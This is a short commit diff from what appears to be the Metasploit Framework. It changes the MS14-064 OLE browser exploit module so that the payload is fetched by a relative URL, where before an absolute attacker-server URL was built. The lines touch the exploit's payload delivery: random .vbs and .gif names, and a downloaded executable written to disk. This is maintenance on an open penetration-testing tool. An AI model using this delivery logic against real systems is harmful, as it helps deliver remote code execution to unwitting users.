Land rapid7#4988, Relative URL for ms14_064_ole_code_execution

Author: wchen-r7

modules/exploits/windows/browser/ms14_064_ole_code_execution.rb

@@ -277,10 +277,7 @@ def vbs_vector(prep)
     vbs_name = "#{Rex::Text.rand_text_alpha(rand(16)+4)}.vbs"
     gif_name = "#{Rex::Text.rand_text_alpha(rand(5)+3)}.gif"
 
-    payload_src  = (datastore['SSL'] ? 'https' : 'http')
-    payload_src << '://'
-    payload_src << (datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST'])
-    payload_src << ":#{datastore['SRVPORT']}#{get_module_resource}/#{gif_name}"
+    payload_src = "#{gif_name}"
 
     # I tried to use ADODB.Stream to save my downloaded executable, but I was hitting an issue
     # with it, so I ended up with Scripting.FileSystemObject. Not so bad I guess.